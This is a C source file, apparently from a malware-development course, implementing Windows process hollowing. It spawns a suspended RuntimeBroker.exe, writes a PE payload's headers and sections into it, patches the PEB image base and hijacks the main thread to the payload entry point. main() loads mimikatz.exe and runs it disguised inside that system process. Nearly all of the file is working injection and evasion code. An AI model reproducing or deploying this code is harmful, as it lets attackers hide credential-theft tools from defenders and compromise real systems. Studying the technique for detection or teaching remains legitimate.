	if (!ReadProcessMemory(hProcess, uRemoteImageBaseOffset, &uRemoteImageBase, sizeof(PVOID), &NumberOfBytesRead) || sizeof(PVOID) != NumberOfBytesRead){
		PRINT_WINAPI_ERR("ReadProcessMemory");
		return FALSE;
	}
	
	printf("[i] Replacing Original Image Address From %p To %p ... \n", (void*)uRemoteImageBase, (void*)uPeBaseAddress);
	*/

	printf("[i] Overwriting Image Base Address ... ");

	// Write remote image base:
	if (!WriteProcessMemory(hProcess, (PVOID)uRemoteImageBaseOffset, &uPeBaseAddress, sizeof(PVOID), &NumberOfBytesWritten) || sizeof(PVOID) != NumberOfBytesWritten) {
		PRINT_WINAPI_ERR("WriteProcessMemory");
		return FALSE;
	}

	printf("[+] DONE \n");

	return TRUE;
}


// ========================================================================================================================



BOOL RemotePeExec(IN PBYTE pPeBuffer, IN LPCSTR cRemoteProcessImage, IN OPTIONAL LPCSTR cProcessParms) {

	if (!pPeBuffer || !cRemoteProcessImage)
		return FALSE;

	PROCESS_INFORMATION		ProcessInfo				= { 0x00 };
	CONTEXT					Context					= { .ContextFlags = CONTEXT_ALL };
	HANDLE					StdInWrite				= NULL,		// Handle for writing to the input pipe.
							StdOutRead				= NULL;		// Handle for reading from the output pipe.
	PBYTE					pRemoteAddress			= NULL;
	PIMAGE_NT_HEADERS		pImgNtHdrs				= NULL;
	PIMAGE_SECTION_HEADER	pImgSecHdr				= NULL;
	SIZE_T					NumberOfBytesWritten	= NULL;
	BOOL					bSTATE					= FALSE;


	// Create the hollowed process
	if (!CreateTheHollowedProcess(cRemoteProcessImage, cProcessParms, &ProcessInfo, &StdInWrite, &StdOutRead))
		goto _FUNC_CLEANUP;

	if (!ProcessInfo.hProcess || !ProcessInfo.hThread)
		goto _FUNC_CLEANUP;

	printf("[i] Press <Enter> To Continue...");
	getchar();


	// Retrieve NT image headers 
	pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pPeBuffer + ((PIMAGE_DOS_HEADER)pPeBuffer)->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
		printf("[!] Invalid NT Image Headers\n");
		goto _FUNC_CLEANUP;
	}

	// Allocate remote virtual memory
	if (!(pRemoteAddress = VirtualAllocEx(ProcessInfo.hProcess, (LPVOID)pImgNtHdrs->OptionalHeader.ImageBase, (SIZE_T)pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
		PRINT_WINAPI_ERR("VirtualAllocEx");
		goto _FUNC_CLEANUP;
	}

	printf("[*] Remote Image Base Address: 0x%p\n", pRemoteAddress);
	printf("[i] Preferable Base Address: 0x%p\n", (LPVOID)pImgNtHdrs->OptionalHeader.ImageBase);

	// Check if the image base is the same as the one in the headers
	if (pRemoteAddress != (LPVOID)pImgNtHdrs->OptionalHeader.ImageBase) {
		printf("[!] PE Payload Will Require Relocation - [NOT SUPPORTED]\n");
		goto _FUNC_CLEANUP;
	}

	printf("[i] Press <Enter> To Write The PE Payload ...");
	getchar();

	// Copy over image header
	if (!WriteProcessMemory(ProcessInfo.hProcess, pRemoteAddress, pPeBuffer, pImgNtHdrs->OptionalHeader.SizeOfHeaders, &NumberOfBytesWritten) || pImgNtHdrs->OptionalHeader.SizeOfHeaders != NumberOfBytesWritten) {
		PRINT_WINAPI_ERR("WriteProcessMemory");
		goto _FUNC_CLEANUP;
	}

	printf("[*] Wrote Headers At %p Of Size %d \n", (void*)pRemoteAddress, (int)pImgNtHdrs->OptionalHeader.SizeOfHeaders);
	printf("[i] Writing Sections ... \n");

	// Copy over sections 
	pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
	for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

		printf("\t<i> Writing Section %s At %p Of Size %d \n", pImgSecHdr[i].Name, (void*)(pRemoteAddress + pImgSecHdr[i].VirtualAddress), (int)pImgSecHdr[i].SizeOfRawData);

		if (!WriteProcessMemory(ProcessInfo.hProcess, (PVOID)(pRemoteAddress + pImgSecHdr[i].VirtualAddress), (PVOID)(pPeBuffer + pImgSecHdr[i].PointerToRawData), pImgSecHdr[i].SizeOfRawData, &NumberOfBytesWritten) || pImgSecHdr[i].SizeOfRawData != NumberOfBytesWritten) {
			PRINT_WINAPI_ERR("WriteProcessMemory");
			goto _FUNC_CLEANUP;
		}
	}


	// Get thread context of the main thread
	if (!GetThreadContext(ProcessInfo.hThread, &Context)) {
		PRINT_WINAPI_ERR("GetThreadContext");
		goto _FUNC_CLEANUP;
	}

	// Patch the 'ImageBaseAddress' element in the 'PEB' structure of the remote process to point to our PE instead
	if (!ReplaceBaseAddressImage(ProcessInfo.hProcess, pRemoteAddress, Context.Rdx)) {
		goto _FUNC_CLEANUP;
	}

	// Set suitable memory permissions
	if (!FixMemPermissionsEx(ProcessInfo.hProcess, pRemoteAddress, pImgNtHdrs, pImgSecHdr))
		goto _FUNC_CLEANUP;

	printf("[i] Press <Enter> To Execute The Entry Payload ...");
	getchar();
	printf("[i] Hijacking Thread To Run EntryPoint: %p ... ", (LPVOID)(pRemoteAddress + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint));

	// Thread Hijacking:
	Context.Rcx = (LPVOID)(pRemoteAddress + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
	if (!SetThreadContext(ProcessInfo.hThread, &Context)) {
		PRINT_WINAPI_ERR("SetThreadContext");
		goto _FUNC_CLEANUP;
	}
	printf("[+] DONE\n");

	
	printf("[i] Press <Enter> To Resume The Process ... ");
	getchar();

	// Resume thread
	if (ResumeThread(ProcessInfo.hThread) == ((DWORD)-1)) {
		PRINT_WINAPI_ERR("ResumeThread");
		goto _FUNC_CLEANUP;
	}

	// Wait till the process runs the code
	WaitForSingleObject(ProcessInfo.hProcess, INFINITE);	

	// Read output
	printf("[*] Reading output: \n\n");
	PrintOutput(StdOutRead);

	bSTATE = TRUE;

_FUNC_CLEANUP:
	DELETE_HANDLE(StdInWrite);
	DELETE_HANDLE(StdOutRead);
	DELETE_HANDLE(ProcessInfo.hProcess);
	DELETE_HANDLE(ProcessInfo.hThread);
	return bSTATE;
}


// ========================================================================================================================


#define PE_PAYLOAD			"C:\\Users\\Admin\\source\\repos\\mimikatz.exe"
#define TARGET_PROCESS		"C:\\Windows\\System32\\RuntimeBroker.exe"
#define PARMS				"coffee exit"

int main() {

	PBYTE	pBuffer = NULL;
	DWORD	dwBuffer = 0x00;

	if (!ReadFileFromDisk(PE_PAYLOAD, &pBuffer, &dwBuffer)) {
		return -1;
	}

	return RemotePeExec(pBuffer, TARGET_PROCESS, PARMS) ? 0 : -1;
}
Full Archive Manifest (5 files inside .zip)
  • ProcessHollowing/ProcessHollowing.sln
  • ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj
  • ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.filters
  • ProcessHollowing/ProcessHollowing/ProcessHollowing.vcxproj.user
  • ProcessHollowing/ProcessHollowing/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.